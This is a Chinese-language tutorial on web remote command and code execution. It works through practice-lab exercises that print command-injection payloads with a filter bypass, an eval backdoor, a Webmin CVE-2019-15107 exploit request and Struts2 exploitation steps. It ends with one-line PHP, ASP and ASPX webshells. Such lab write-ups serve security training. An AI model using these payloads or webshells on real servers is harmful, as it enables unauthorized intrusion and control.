在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞。同样调用系统命令处理,将造成命令执行漏洞。
RCE:远程命令/代码执行(remote command/code execute)
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
#RCE 漏洞形成条件
两个条件:① 可控变量 ② 漏洞函数
其中漏洞函数决定着漏洞的类型。是上传函数(upload等)就是上传漏洞;是输出函数(echo、printf、var_dump()等)就考虑为XSS;是有关数据查询就考虑有关SQL注入漏洞;是执行函数(eval、shell_exec、system等)就考虑为代码执行或者命令执行函数。
eval()
eval() 函数把字符串按照 PHP 代码来执行。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
演示案例:
墨者靶场黑盒功能点命令执行-应用功能
通常就是在正常命令后加上管道符 & 或者 | 来达到执行恶意代码的目的,因为计算机在执行完成一条命令之后遇到管道符会继续执行下一条命令,这就导致了漏洞的可利用性。
第一步先对网站进行抓包,通过字段server和x-powered-by可以发现目标服务器是Linux系统。
同时这是一个ping功能,也就是说输入的东西会被其在终端中执行。可控参数+漏洞函数 构成了出现漏洞的前提条件。这里ping 127.0.0.1 发现确实能实现终端命令。
输入127.0.0.1 | ls发现有检测,是前端验证,禁用即可
查看关键文件,发现没有返回结果,原来是把空格过滤了。
空格绕过,构造payload:127.0.0.1|cat<key......
墨者靶场白盒代码及命令执行-代码分析
打开靶场发现一段PHP代码,有base64解码内容。看不出源码可以尝试网站上的PHP代码在线运行。
执行结果echo $_REQUEST[a]
;; ?>。整体代码就是eval(a参数的内容)。
输入Linux命令。ls -> tac key_107692858213751.php
墨者靶场黑盒层 RCE 漏洞检测-公开漏洞
通过背景介绍可以知道,Webmin是类似于中间件平台的东西,不知道情况难以下手。这时可以查看网上公开的平台漏洞。
我们在百度搜索关键词webmin 远程代码执行漏洞,可以看到编号为CVE-2019-15107。根据网上公开的poc可知,漏洞利用url是修改密码功能password_change.cgi,且需要开启密码修改功能(1.890默认开启此功能)。
payload:user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
在post参数old处修改命令即可使服务器执行命令
小结:这里是利用密码重置功能发生了缺陷,对用户输入未进行过滤,通过管道符实现命令执行,只有在发送的user参数的值不是已知Linux用户的情况下,才会进入到修改 /etc/shadow 的地方,触发命令注入漏洞。
Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
墨者学院-Apache Struts2远程代码执行漏洞(S2-016)复现:Apache Struts2远程代码执行漏洞(S2-016)复现_命令执行_在线靶场_墨者学院_专注于网络安全人才培养
S2-016:由于通过操作前缀为“action”/“redirect”/“redirectAction”的参数引入的漏洞。
使用工具直接检测,居然没有发现S2-016,看到有S2-046就直接利用了。
ls找到key文件
cat查看key文件内容
墨者学院-Apache Struts2远程代码执行漏洞(S2-037)复现:Apache Struts2远程代码执行漏洞(S2-037)复现_命令执行_在线靶场_墨者学院_专注于网络安全人才培养
直接网上搜索EXP利用
ls找到key文件
cat key.txt查看内容
一句话 Webshell 后门原理代码执行-拓展说明
常见的一句话木马:
php的一句话木马: <?php @eval($_POST['pass']);?> asp的一句话木马: <% eval request("pass")%> aspx的一句话木马: <%@Page Language="Jscript" %> <% eval(Request.Item["pass"],"unsafe");%>
一句话木马的本质是向服务器写入了一个代码文件,而这个代码存在代码执行漏洞。
而菜刀的原理是,提前写好了各种脚本,利用一句话木马中的代码执行漏洞,实现对服务器的增删改查。
题外话:菜刀 蚁剑 与 一句话木马 本质上就是RCE
(中间件平台Apache Struts2的详解) JAVA web网站代码审计--入门 - ermei - 博客园
另:需要详情理解命令绕过方式参考下面链接